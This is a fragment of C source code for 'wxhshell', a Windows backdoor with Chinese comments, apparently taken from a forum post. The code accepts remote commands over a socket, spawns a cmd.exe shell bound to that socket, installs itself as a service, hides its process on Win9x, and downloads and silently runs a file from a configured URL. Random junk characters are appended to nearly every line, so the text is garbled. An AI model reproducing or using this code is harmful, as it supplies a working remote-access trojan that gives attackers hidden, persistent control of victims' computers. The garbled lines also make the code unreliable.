    switch(cmd[0]) { A^2n i=b  
  '3p7ee&  
  // 帮助 -ho%9LW%|  
  case '?': { s~z~9#G(6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $fzO:br5WJ  
    break; { R`"Nk  
  } ,+d\@:  
  // 安装 ?rJe"TOIy  
  case 'i': {  ?W3l  
    if(Install()) h 7P<3m}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  &Hi;>  
    else +55+%oGl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ee}HQ.}Ja  
    break; )bgaqca_{  
    } fi,h`mdT?  
  // 卸载 {vhP'!a6W  
  case 'r': { t@;r~S b  
    if(Uninstall()) N^TE ;BM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t:O"t G  
    else m|M'vzu1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^. p d'  
    break; Hrg~<-.La  
    } *U mWcFoF  
  // 显示 wxhshell 所在路径 xXRlQ|84  
  case 'p': { )Jaq5OMA/  
    char svExeFile[MAX_PATH]; \-W|)H  
    strcpy(svExeFile,"\n\r"); (M-W ea!q  
      strcat(svExeFile,ExeFile); Xl %ax!/  
        send(wsh,svExeFile,strlen(svExeFile),0); `3e>JIl"0  
    break; z[sP/{~z  
    } ?r'2GR2Sk4  
  // 重启 YAsE,M+  
  case 'b': { $`&zIz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?/1Eu47  
    if(Boot(REBOOT)) ^2a63_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X-<l+WP  
    else { nJhaI  
    closesocket(wsh); >X_5o^s2s  
    ExitThread(0); \0fk^  
    } h0aK}`/a  
    break; pGdFeEkB/  
    } @~CXnc0  
  // 关机 m>9j dsqB  
  case 'd': { J|aU}Z8m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L}\ oFjVju  
    if(Boot(SHUTDOWN)) GWa:C\YK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a{@gzB  
    else { H7{I[>:  
    closesocket(wsh); !T"jvDYH  
    ExitThread(0); )>(ZX9diV  
    } x~u"KU2B  
    break; >e^^YR^  
    } WD>z  
  // 获取shell =$-+~  
  case 's': { JFu9_=%+  
    CmdShell(wsh); 8P* d  
    closesocket(wsh); 1d 1 ~`B  
    ExitThread(0); se@ ?:n1)  
    break; w2) @o >w  
  } d T7!+)s5-  
  // 退出 >zo_}A!  
  case 'x': { /liZ|K3A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5ENEx  
    CloseIt(wsh); ctMH5"F&1  
    break; \IP 9EFA  
    } O?t49=uB}  
  // 离开 1<;VD0XX  
  case 'q': { ] @uuB\u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @y2cC6+'t  
    closesocket(wsh); \DcO .`L  
    WSACleanup(); X@ S~D7|ja  
    exit(1); lkW5<s_  
    break; Ip |=NQL>  
        } 8osP$"/o  
  } snYyxi  
  } no(or5UJ  
WOQ>]Z  
  // 提示信息 3<>DDY2bl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gu "@*,hL  
} eig{~3  
  } )|6OPR@(#/  
w!jY(WK U  
  return; "hnvND4=  
} {dYz|O<  
lS]6Sk Z6  
// shell模块句柄 <k 'zz:[c!  
int CmdShell(SOCKET sock)  I)MRAo  
{ *|ef#-|D  
STARTUPINFO si; bwI"V&*  
ZeroMemory(&si,sizeof(si)); =E62N7_`=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZgfhNI\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =fJ  /6  
PROCESS_INFORMATION ProcessInfo; C]&/k_k  
char cmdline[]="cmd"; z.^_;Vql_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vxS4YRb  
  return 0;  F*_+k  
} ]xGpN ]u  
&W3Hj$>  
// 自身启动模式 vX_;Y#uD  
int StartFromService(void) V\AY=u  
{ ^VEaOKMr  
typedef struct ~UHjc0  
{ ~])Q[/=p  
  DWORD ExitStatus; juI)Do2_  
  DWORD PebBaseAddress; ~~@dbB  
  DWORD AffinityMask; ' e %>Ip  
  DWORD BasePriority; CjEzsjqe<I  
  ULONG UniqueProcessId; =@c;%x  
  ULONG InheritedFromUniqueProcessId; :!^NjO  
}   PROCESS_BASIC_INFORMATION; *'*n}fM  
Pif-uhOk%  
PROCNTQSIP NtQueryInformationProcess; 86>@.:d  
fmD~f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cG&@PO]+.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eVd:C8q  
0oZZLi  
  HANDLE             hProcess; ke k/C`7  
  PROCESS_BASIC_INFORMATION pbi; nd$92H  
?dXAHY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KWM.e1(  
  if(NULL == hInst ) return 0; J#5V>7G  
eaDR-g"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %{rPA3Xoy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wp83E,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &DjA?0`J  
hAt4+O&P  
  if (!NtQueryInformationProcess) return 0; dc0&*/`:  
1M b[S{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QNXoAx%I  
  if(!hProcess) return 0; @6Lp $w  
j#u{(W'r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xel|,|*Yq  
!p76I=H%  
  CloseHandle(hProcess); y} is=h3  
l-Ha*>gX[j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +43~4_Oj  
if(hProcess==NULL) return 0; s}-j.jzB{  
yo(MJ^=d  
HMODULE hMod; j5og}P q:  
char procName[255]; `,]_r 4~ ~  
unsigned long cbNeeded; a4 7e  
u'k+t`V&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a5aHv/W#P  
.R#-u/6g(  
  CloseHandle(hProcess); VFMn"bYOB  
FS=LpvOG)  
if(strstr(procName,"services")) return 1; // 以服务启动 vexF|'!}0#  
?|pP&8r  
  return 0; // 注册表启动 ]*gf$D  
} /n6ZN4  
+FAxqCkA  
// 主模块 ]Yf^O @<<>  
int StartWxhshell(LPSTR lpCmdLine) *]}F=dtR k  
{ w^=(:`  
  SOCKET wsl; :R3iLy  
BOOL val=TRUE; q#I'@Jbj  
  int port=0; "q1S.3V;  
  struct sockaddr_in door; 4[&&E7]EX  
wt;`_}g  
  if(wscfg.ws_autoins) Install(); hW9!  
IOF!Ra:w  
port=atoi(lpCmdLine); D?8(n=#[  
.t8hTlV?<B  
if(port<=0) port=wscfg.ws_port; c5uC?b].  
Ju&FwY+  
  WSADATA data; GmE`YW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mP/#hwzB&q  
e igVT4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2+?W{yAEi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;MK|l,aIQ  
  door.sin_family = AF_INET; F6{/iF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l'M/et{:  
  door.sin_port = htons(port); PkZ1Db  
2y|n!p T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xf8[&?  
closesocket(wsl); a7uL {*ZR  
return 1; SIKaDIZ  
} if*~cPnN  
n*' :,m  
  if(listen(wsl,2) == INVALID_SOCKET) { N$v_z>6Z  
closesocket(wsl); ssS"X@VZ \  
return 1; Y0-?"R8  
} r}sO},i  
  Wxhshell(wsl); r$-P  
  WSACleanup(); JiO8 EIM  
`HnZ{PKf  
return 0; 7cWeB5 e?O  
!Q<3TfC  
} N 3O!8A_  
CB,2BTtRE  
// 以NT服务方式启动 #Ef!X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FV7'3fIa  
{  - US>].  
DWORD   status = 0; a&2x;diF  
  DWORD   specificError = 0xfffffff; GVu[X?q@|  
f2pA+j5[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9z{g3m70@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S.`hl/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b/JjA  
  serviceStatus.dwWin32ExitCode     = 0; (3Xs  
  serviceStatus.dwServiceSpecificExitCode = 0; i%F2^R@!q/  
  serviceStatus.dwCheckPoint       = 0; :is2 &-|x  
  serviceStatus.dwWaitHint       = 0; @%*@Rar  
fv+d3s?h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (CH6Q]Wi_!  
  if (hServiceStatusHandle==0) return; i `p1e5$  
e-UWbn'~  
status = GetLastError(); ?azLaAG  
  if (status!=NO_ERROR) a5O$he  
{ _ W#Km  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $;} @2U   
    serviceStatus.dwCheckPoint       = 0; \ZhkOl  
    serviceStatus.dwWaitHint       = 0; fF>hca>  
    serviceStatus.dwWin32ExitCode     = status; py':36'  
    serviceStatus.dwServiceSpecificExitCode = specificError; t2.jg?`k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z+EZ</'(a  
    return; 7J`v#  
  } "'+C%  
bivo7_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  $s]&9 2  
  serviceStatus.dwCheckPoint       = 0; \L$]2"/v-  
  serviceStatus.dwWaitHint       = 0; 0)\(y   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UM`$aPz  
} ",[/pb  
;"e55|d9I  
// 处理NT服务事件,比如:启动、停止 8'zfq ]g  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  P s|[  
{ H8B.c%_|U  
switch(fdwControl) uh#E^~5S  
{ %}-ogi/c  
case SERVICE_CONTROL_STOP: $Jn.rX0}$  
  serviceStatus.dwWin32ExitCode = 0; nygeR|:\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /#"9!8%V  
  serviceStatus.dwCheckPoint   = 0; Xs"d+dc  
  serviceStatus.dwWaitHint     = 0; ;}KJ[5i-V  
  { 1cMdoQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ]SL+ZT  
  } 0$Zh4Y  
  return; !Q%r4Nr  
case SERVICE_CONTROL_PAUSE: @m:' L7+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?$<~cD" Sw  
  break; =z<sx2#*  
case SERVICE_CONTROL_CONTINUE: 'Cz]p~oF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DIvxut  
  break; x 0vW9*&  
case SERVICE_CONTROL_INTERROGATE: )PkGT~3I  
  break; p&`I#6{  
}; j E5=e</  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;F71f#iY  
} (U.VCSn  
6 W$m,3Dg  
// 标准应用程序主函数 i1b3>H*3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7<2?NLE8*  
{ AGVipI #  
v] Xy^7?  
// 获取操作系统版本 ^Ga_wJP8S  
OsIsNt=GetOsVer(); LA6Ik_-F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $m+Pl[s  
P;&U3i  
  // 从命令行安装 A9[D.W9>  
  if(strpbrk(lpCmdLine,"iI")) Install(); }y*rO(cu7G  
ms+gq  
  // 下载执行文件 0d`lugf  
if(wscfg.ws_downexe) {  f|yq~3x)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1ahb:Mjv  
  WinExec(wscfg.ws_filenam,SW_HIDE); y>g`R^^  
} :ZM=P3QZ  
n.P $E  
if(!OsIsNt) { Z$)jPDSr  
// 如果时win9x,隐藏进程并且设置为注册表启动 g%4=T~  
HideProc(); :{Iv ]d  
StartWxhshell(lpCmdLine); G#'G9/Tm  
} 'sI @e s  
else R_:-Z .  
  if(StartFromService()) #q?:Act  
  // 以服务方式启动 VOp+6ho<  
  StartServiceCtrlDispatcher(DispatchTable); uv7tbI"r  
else 2-"`%rE  
  // 普通方式启动 p!K]c D  
  StartWxhshell(lpCmdLine); "fd'~e$S#  
<bBgevL+_K  
return 0; r`:dUCFE  
}
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只看该作者 1 发表于: 2006-10-10
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